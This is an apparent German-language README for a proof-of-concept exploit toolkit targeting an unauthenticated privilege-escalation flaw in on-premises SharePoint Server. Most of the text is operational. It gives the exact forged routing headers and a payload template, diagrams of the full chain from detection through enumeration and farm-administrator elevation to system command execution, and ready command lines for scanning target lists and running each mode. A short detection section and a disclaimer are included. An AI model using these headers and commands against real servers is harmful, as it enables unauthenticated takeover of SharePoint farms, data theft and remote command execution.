
CVE-2026-56164 ist eine kritische Schwachstelle mit fehlender Authentifizierung, die lokale Microsoft SharePoint Server-Installationen betrifft. Sie ermöglicht es nicht authentifizierten Remote-Angreifern, über ein Netzwerk Privilegien zu erweitern.
Kritisch (CVSS 9.8) – Nicht authentifizierte Rechteausweitung zum Farm-Administrator in Microsoft SharePoint Server
Bei CVE-2026-56164 handelt es sich um eine kritische Sicherheitslücke mit fehlender Authentifizierung in Microsoft SharePoint Server, die es einem nicht authentifizierten Remote-Angreifer ermöglicht, seine Rechte auf Farm-Administrator-Ebene auszuweiten. Die Sicherheitslücke befindet sich in der Assembly Microsoft.Office.Server.UserProfiles, die SOAP-Anfragen unter /_vti_bin/client.svc/ProcessQuery verarbeitet.
Indem der X-RequestDigest-Header absichtlich weggelassen und bestimmte Routing-Header mitgeliefert werden, fällt der verwundbare Server auf einen erhöhten Sicherheitskontext zurück, anstatt die nicht authentifizierte Anfrage abzulehnen. Dadurch können anonyme Angreifer Websitesammlungen, Benutzer und Farmkonfiguration auflisten, Administratoren hinzufügen und Befehle ausführen.
CISA KEV: Diese Sicherheitslücke ist aufgrund der aktiven Ausnutzung in freier Wildbahn im Katalog der bekannten ausgenutzten Sicherheitslücken (Known Exploited Vulnerabilities Catalog) von CISA aufgeführt.
Der Handler Microsoft.Office.Server.UserProfiles verarbeitet SOAP-Anfragen unter /_vti_bin/client.svc/ProcessQuery. Normalerweise validiert SharePoint den X-RequestDigest-Header, um den Authentifizierungskontext sicherzustellen. Es existiert jedoch eine Validierungsumgehung:
X-RequestDigest fehlt UND bestimmte Routing-Header vorhanden sind// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
// Bypasses standard identity validation → elevated admin session
InitializeElevatedSecurityContext(context);
} else {
ValidateRequestDigest(digest); // Normal path
}
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
context.Response.StatusCode = 401;
throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);
| Produkt | Betroffene Versionen | Behobene Version |
|---|---|---|
| SharePoint Enterprise Server 2016 | Alle 16.0.x vor dem Patch | 16.0.5561.1001 |
| SharePoint Server 2019 | Alle 16.0.x vor dem Patch | 16.0.10417.20175 |
Nicht betroffen: SharePoint Online (Microsoft 365)
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-56164 Exploit Toolkit │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │
│ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │
│ │ Scanner │ │ + Version Check │ │ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ CSOM Payloads│ │ │
│ │ Reports: │ │ (detection, │ │ │
│ │ • SharePoint detected? │ │ enum, │ │ │
│ │ • Server version │ │ elevate, │ │ │
│ │ • Vulnerable? │ │ execute) │ │ │
│ │ • Auth bypass confirmed? │ └──────────────┘ │ │
│ ▼ │ ┌──────────────┐ │ │
│ ┌────────────┐ ┌─────────────────┐ │ │ SOAP Payloads│ │ │
│ │ exploit.py │────▶│ HTTP Request │ │ │ (admin, exec)│ │ │
│ │ Exploit │ │ Delivery │ │ └──────────────┘ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ Bypass │ │ │
│ │ ┌──────────────────────┐ │ │ Headers │ │ │
│ ├─▶│ MODE: detect │ │ │ (routing) │ │ │
│ │ │ Safe, non-intrusive │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ │ ┌──────────────┐ │ │
│ │ ┌──────────────────────┐ │ │ HTTP Request │ │ │
│ ├─▶│ MODE: enumerate │ │ │ Builder │ │ │
│ │ │ Sites, users, config │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ └────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ ├─▶│ MODE: elevate │ ┌──────────────────────┐ │
│ │ │ Add site/farm admin │ │ Target SharePoint │ │
│ │ └──────────────────────┘ │ /_vti_bin/client.svc │ │
│ │ ┌──────────────────────┐ │ /_vti_bin/SPAdmin │ │
│ └─▶│ MODE: execute │ └──────────────────────┘ │
│ │ System commands │ │
│ └──────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ └─▶│ MODE: full │ detect→enum→elevate→execute │
│ └──────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ SharePoint │──────────▶│ Not SP │
│ fingerprint? │ └─────────────┘
│ (MSST header, │
│ _vti_bin, │
│ suitebar, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract version │
│ from MSST header │
│ / response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o │
│ digest + bypass │
│ headers) │
└──────┬───────────┘
│
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Bypass status │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ FULL EXPLOIT CHAIN │
│ │
│ 1. Detect — Authentication Bypass │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/client.svc/ProcessQuery │ │
│ │ [NO X-RequestDigest] │ │
│ │ X-SharePoint-Authenticated: 1 │ │
│ │ X-SP-RequestRights: FullControl │ │
│ │ SPHomeBearerHint: farmadmin │ │
│ │ Body: CSOM detection payload │ │
│ │ │ │
│ │ → If 200: AUTH BYPASS CONFIRMED │ │
│ │ → If 401: Not vulnerable │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 2. Enumerate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Enumerate site collections (URL, owner, status) │ │
│ │ Enumerate users (account, display name, email, admin) │ │
│ │ Retrieve farm config (DB name, server, farm ID) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 3. Elevate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ SetIsSiteAdmin(true) → Current context = Site Admin │ │
│ │ AddUserToWeb → Add specific user as Farm Administrator │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 4. Execute ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/SharePointAdmin.asmx │ │
│ │ Body: ExecuteCommand SOAP payload │ │
│ │ → System command executed with farm-level privileges │ │
│ └──────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
POC-CVE-2026-56164-exploit/
├── payload_gen.py # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt # Python dependencies
└── README.md # This file
# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit
# Install dependencies
pip3 install -r requirements.txt
Voraussetzungen: Python 3.8+, requests-Bibliothek (optional – standardmäßig wird urllib aus der Standardbibliothek verwendet).
Der Scanner führt sichere, nicht-intrusive Prüfungen durch, um verwundbare SharePoint-Server-Ziele zu identifizieren.
python3 scan.py --target sharepoint.example.com
Der Scanner führt Folgendes aus:
MicrosoftSharePointTeamServices-Headerpython3 scan.py --target sharepoint.example.com --port 443
Erstellen Sie eine Datei targets.txt:
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
python3 scan.py --targets targets.txt
python3 scan.py --target sharepoint.example.com --no-bypass-test
python3 scan.py --target sharepoint.example.com --json scan_results.json
Der Exploit unterstützt fünf Modi mit zunehmender Intensität.
Testet die Authentifizierungsumgehung, indem eine normale Anfrage (mit Digest) mit einer Bypass-Anfrage (ohne Digest + Routing-Header) verglichen wird.
python3 exploit.py --target sharepoint.example.com --mode detect
Extrahiert Websitesammlungen, Benutzer und Farmkonfiguration mithilfe der Authentifizierungsumgehung.
python3 exploit.py --target sharepoint.example.com --mode enumerate
Hebt den aktuellen anonymen Kontext oder einen bestimmten Benutzer auf Website-Sammlungsadministrator / Farm-Administrator an.
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate
# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"
Führt einen Systembefehl über den SharePoint-Administrations-SOAP-Dienst aus.
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"
Führt die vollständige Exploit-Kette der Reihe nach aus.
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"
--port / -p: Zielport (Standard: 443)--http: HTTP anstelle von HTTPS verwenden--site-url / -s: SharePoint-Website-URL (Standard: Ziel)--json / -j: Bericht als JSON speichern--timeout: Anfrage-Timeout in Sekunden (Standard: 30)┌─────────────────────────────────────────────────────────────────┐
│ HTTP Request to /_vti_bin/client.svc/ProcessQuery │
├─────────────────────────────────────────────────────────────────┤
│ POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1 │
│ Host: sharepoint.example.com │
│ Content-Type: text/xml; charset=utf-8 │
│ [X-RequestDigest: OMITTED] │
│ X-SharePoint-Authenticated: 1 │
│ X-SP-RequestRights: FullControl │
│ X-SP-RequestRights2: ManageLists, ManageWeb │
│ SPHomeBearerHint: farmadmin │
│ X-RequestForceAuthentication: false │
│ X-SP-Proxy: internal │
│ X-Forwarded-For: 127.0.0.1 │
│ X-Original-URL: /_vti_bin/client.svc/ProcessQuery │
│ │
│ [CSOM/SOAP Payload Body] │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Vulnerable SharePoint Server │
│ │
│ 1. digest = Headers["X-RequestDigest"] → NULL │
│ 2. CheckSpecialRoutingHeaders(context) → TRUE (≥3 headers) │
│ 3. InitializeElevatedSecurityContext() → FARM ADMIN │
│ 4. Process SOAP request with system-level credentials │
└─────────────────────────────────────────────────────────────────┘
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
ApplicationName="SharePointExploit"
LibraryVersion="16.0.0"
RequestId="{UUID}">
<Actions>
[Detection / Enumeration / Elevation actions]
</Actions>
<Context>
<ContextId>Current</ContextId>
<Version>16.0.0</Version>
<SiteUrl>{TARGET}</SiteUrl>
</Context>
</Request>
/_vti_bin/-Endpunkte über Reverse-Proxy-/WAF-Regeln/_vti_bin/client.svc/ProcessQuery/_vti_bin/client.svc/ProcessQuery ohne X-RequestDigest-HeaderX-SharePoint-Authenticated, SPHomeBearerHint usw.)/_vti_bin/SharePointAdmin.asmx aus nicht authentifizierten QuellenDieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Die unbefugte Verwendung gegen Produktionssysteme ist illegal und kann gegen Gesetze gegen Computerbetrug und -missbrauch verstoßen.
Die Autoren übernehmen keine Haftung für die missbräuchliche Verwendung dieses Tools. Befolgen Sie stets verantwortungsvolle Offenlegungspraktiken und halten Sie sich an geltende Gesetze und Vorschriften.
| Feld | Wert |
|---|
| CVE ID | CVE-2026-56164 |
| Schweregrad | KRITISCH |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-306: Fehlende Authentifizierung für kritische Funktion |
| Auswirkung | Nicht authentifizierte Rechteausweitung zum Farm-Administrator |
| Ausnutzungsstatus | Aktive Ausnutzung (CISA KEV) |
| MITRE ATT&CK | T1190 (Exploit Public-Facing Application) |
| SharePoint Server Subscription Edition | Alle 16.0.x vor dem Patch | 16.0.19725.20434 |
| Indikator | Methode |
|---|
| SharePoint Server | HTTP-Header-Fingerprinting (MicrosoftSharePointTeamServices, SPRequestGuid) |
| Serverversion | Header-Parsing + RegEx im Antworttext |
| Verwundbare Version | Vergleich mit den behobenen Versionen für CVE-2026-56164 |
| Authentifizierungsumgehung | CSOM-Anfrage ohne X-RequestDigest + Bypass-Routing-Header |
| SSL-Zertifikat | Zertifikatsantragsteller/-aussteller zur Zielidentifikation |
| Header | Wert | Zweck |
|---|
X-SharePoint-Authenticated | 1 | Behaupten, dass die Authentifizierung bereits erfolgt ist |
X-SP-RequestRights | FullControl | Vollzugriffsberechtigungen anfordern |
X-SP-RequestRights2 | ManageLists, ManageWeb | Zusätzliche Verwaltungsrechte |
SPHomeBearerHint | farmadmin | Hinweis auf Farm-Administrator-Kontext |
X-RequestForceAuthentication | false | Erzwungene Authentifizierung deaktivieren |
X-SP-Proxy | internal | Internen Proxy-Ursprung behaupten |
X-Forwarded-For | 127.0.0.1 | Lokalen Ursprung vortäuschen |
X-Original-URL | /_vti_bin/client.svc/ProcessQuery | Routing-Anweisung |